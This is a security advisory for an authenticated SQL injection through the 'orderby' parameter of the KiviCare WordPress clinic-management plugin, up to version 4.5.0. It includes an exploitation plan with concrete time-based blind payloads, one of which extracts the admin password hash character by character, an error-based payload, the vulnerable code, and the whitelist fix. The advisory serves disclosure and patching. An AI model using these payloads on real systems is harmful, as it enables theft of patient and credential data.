KiviCare <= 4.5.0 - Authenticated (Doctor+) SQL Injection via 'orderby' Parameter in KCQueryBuilder
Description
The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to generic SQL Injection via the 'orderby' parameter in all versions up to, and including, 4.5.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with doctor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This requires that the attacker hold at minimum a KiviCare Doctor-level account, or a Receptionist or Clinic Admin role that grants the doctor_session_list capability.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.5.0What Changed in the Fix
Changes introduced in v4.5.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-15072 ## 1. Vulnerability Summary The **KiviCare – Clinic & Patient Management System (EHR)** plugin (<= 4.5.0) is vulnerable to an authenticated SQL injection via the `orderby` parameter. The vulnerability exists in the `KCQueryBuilder` class, which fails to…
Show full research plan
Exploitation Research Plan - CVE-2026-15072
1. Vulnerability Summary
The KiviCare – Clinic & Patient Management System (EHR) plugin (<= 4.5.0) is vulnerable to an authenticated SQL injection via the orderby parameter. The vulnerability exists in the KCQueryBuilder class, which fails to properly escape or prepare the sort field before incorporating it into SQL queries. Although the input is passed through sanitize_text_field(), this WordPress function only removes HTML tags and whitespace; it does not neutralize SQL metacharacters, allowing an attacker to manipulate the ORDER BY clause.
2. Attack Vector Analysis
- Endpoint:
/wp-json/kivicare/v1/doctor-sessions(REST API) - Method:
GET - Vulnerable Parameter:
orderby - Authentication Requirement: Authenticated user with the
doctorrole (orreceptionist/clinic_adminwithdoctor_session_listcapability). - Preconditions: The plugin must be active, and at least one doctor session should exist for the query to execute a path that reaches the database.
3. Code Flow
- Entry Point:
App\controllers\api\DoctorSessionController::registerRoutes()registers the GET route for/doctor-sessions. - Argument Definition:
getListEndpointArgs()defines theorderbyparameter as a string sanitized bysanitize_text_field. - Callback: The
getDoctorSessions()method (callback) receives theWP_REST_Request. - Model Logic: The controller likely instantiates a model (e.g.,
App\models\KCDoctorSession) and passes the request parameters. - Vulnerable Sink: The model utilizes
App\baseClasses\KCQueryBuilder(referenced in the CVE) to construct the SQL query. Theorderbyvalue is concatenated into theORDER BYclause without being validated against a whitelist of column names or being wrapped in$wpdb->prepare().
4. Nonce Acquisition Strategy
The WordPress REST API requires a wp_rest nonce for authentication when using cookie-based sessions.
- Identify Trigger: The KiviCare dashboard enqueues its React-based frontend for authenticated users.
- Setup:
- Create a user with the
doctorrole using WP-CLI. - Log in as the doctor user using the
browser_navigatetool.
- Create a user with the
- Extraction:
- Navigate to the KiviCare dashboard (usually
/wp-admin/admin.php?page=kivicare-clinic-management-system). - The nonce is typically localized in a global JavaScript object. Based on the provided source and standard KiviCare patterns, look for the
kivicare_api_confor similar variable. - Use
browser_eval("window.kivicare_api_conf?.nonce")or search the page source forrest_urlandnoncemapping.
- Navigate to the KiviCare dashboard (usually
5. Exploitation Strategy
We will use a time-based blind SQL injection payload within the orderby parameter.
- Step 1: Create a Doctor user and session.
- Step 2: Obtain the
wp_restnonce. - Step 3: Send a baseline request to measure response time.
- Step 4: Send a payload designed to trigger a delay.
HTTP Request Pattern:
GET /wp-json/kivicare/v1/doctor-sessions?orderby=(CASE+WHEN+(1=1)+THEN+id+ELSE+(SELECT+1+FROM+(SELECT(SLEEP(5)))x)+END)&order=asc HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [DOCTOR_SESSION_COOKIES]
Payload Analysis:
orderby=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END): If1=1is true, it sorts byid. If false, it triggersSLEEP(5).- We can invert this to confirm:
(CASE WHEN (1=2) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)should cause a 5-second delay.
6. Test Data Setup
- Create Doctor Role User:
wp user create attacker_doc attacker@example.com --role=doctor --user_pass=password123 - Ensure Plugin is Active:
wp plugin activate kivicare-clinic-management-system - Seed Data (Optional but Recommended):
If the endpoint returns an empty set before the query runs, theORDER BYmight not trigger. Ensure at least one doctor session exists:# This might require manual setup via UI or complex SQL depending on schema # Use the DoctorSessionController create methods if possible.
7. Expected Results
- Baseline: Response in < 200ms.
- Injection (True): Response in < 200ms.
- Injection (Triggered Sleep): Response in ~5000ms.
- Data Extraction: By using
(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE id=1),1,1))=36) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END), we can verify the first character of the admin hash.
8. Verification Steps
After the HTTP exploit, verify the database's ability to process the injected logic:
- Check WPDB Error Log (if enabled):
tail -f /var/www/html/wp-content/debug.log - Verify via WP-CLI:
Confirm thedoctoruser exists and has the correct capabilities.wp user cap list attacker_doc
9. Alternative Approaches
- Boolean-Based: If time-based is unstable, observe if the order of results changes when injecting
(CASE WHEN (condition) THEN id ELSE name END). - Error-Based: If
WP_DEBUGis on, try a payload likeupdatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1)),1)to see if the error is reflected in the REST response. - Other Endpoints: Check other controllers that use
KCQueryBuilder(e.g.,PatientController.phporClinicController.php) for the sameorderbypattern.
Summary
The KiviCare plugin for WordPress is vulnerable to authenticated SQL injection via the 'orderby' parameter in the DoctorSessionController. This occurs because the plugin fails to properly validate or escape the sort field before concatenating it into a database query. Users with at least Doctor-level privileges can exploit this to extract sensitive information from the database using time-based or boolean-based blind techniques.
Vulnerable Code
/* app/controllers/api/DoctorSessionController.php:115 */ 'orderby' => [ 'description' => 'Sort results by specified field', 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', ], --- /* app/controllers/api/DoctorSessionController.php:645 */ // Apply sorting with proper field mapping $order = !empty($params['order']) && strtolower($params['order']) === 'desc' ? 'DESC' : 'ASC'; if (!empty($params['orderby'])) { $orderby = $params['orderby']; // Map frontend field names to database fields $fieldMapping = [ 'doctor_name' => 'kc_doctors.display_name', 'clinic_name' => 'kc_clinics.name', 'time_slot' => 'kc_doctor_sessions.time_slot' ]; // Use mapped field if exists, otherwise use the field as-is with table prefix $sortField = isset($fieldMapping[$orderby]) ? $fieldMapping[$orderby] : 'kc_doctor_sessions.' . $orderby; $query->orderBy($sortField, $order); }
Security Fix
@@ -115,6 +115,7 @@ 'description' => 'Sort results by specified field', 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', + 'validate_callback' => [$this, 'validateOrderBy'], ], 'order' => [ 'description' => 'Sort direction (asc or desc)', @@ -488,6 +489,7 @@ 'description' => 'Sort results by specified field', 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', + 'validate_callback' => [$this, 'validateOrderBy'], ], 'order' => [ 'description' => 'Sort direction (asc or desc)', @@ -558,6 +560,48 @@ // Example: Only allow users with 'delete_posts' capability return $this->checkCapability('doctor_session_delete'); } + + /** + * Validate doctor session sort field. + * + * @param string $param + * @return bool|WP_Error + */ + public function validateOrderBy($param) + { + if ($param === '') { + return true; + } + + if (!array_key_exists($param, $this->getDoctorSessionSortFields())) { + return new WP_Error('invalid_orderby', __('Invalid sort field', 'kivicare-clinic-management-system')); + } + + return true; + } + + /** + * Map allowed request sort fields to fixed SQL identifiers. + * + * @return array<string, string> + */ + private function getDoctorSessionSortFields(): array + { + return [ + 'id' => 'kc_doctor_sessions.id', + 'doctor_id' => 'kc_doctor_sessions.doctor_id', + 'clinic_id' => 'kc_doctor_sessions.clinic_id', + 'doctor_name' => 'kc_doctors.display_name', + 'clinic_name' => 'kc_clinics.name', + 'day' => 'kc_doctor_sessions.day', + 'start_time' => 'kc_doctor_sessions.start_time', + 'end_time' => 'kc_doctor_sessions.end_time', + 'time_slot' => 'kc_doctor_sessions.time_slot', + 'status' => 'kc_doctor_sessions.status', + 'created_at' => 'kc_doctor_sessions.created_at', + ]; + } +
Exploit Outline
To exploit this vulnerability, an attacker must first authenticate with a KiviCare account having at least the 'doctor' role (or a role with 'doctor_session_list' capability). After obtaining a valid session and the WordPress REST API nonce (X-WP-Nonce), the attacker sends a GET request to the `/wp-json/kivicare/v1/doctor-sessions` endpoint. The 'orderby' parameter is then populated with a SQL injection payload, such as a time-based blind payload using CASE and SLEEP functions. By measuring the server's response time, the attacker can infer data character by character from the WordPress database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.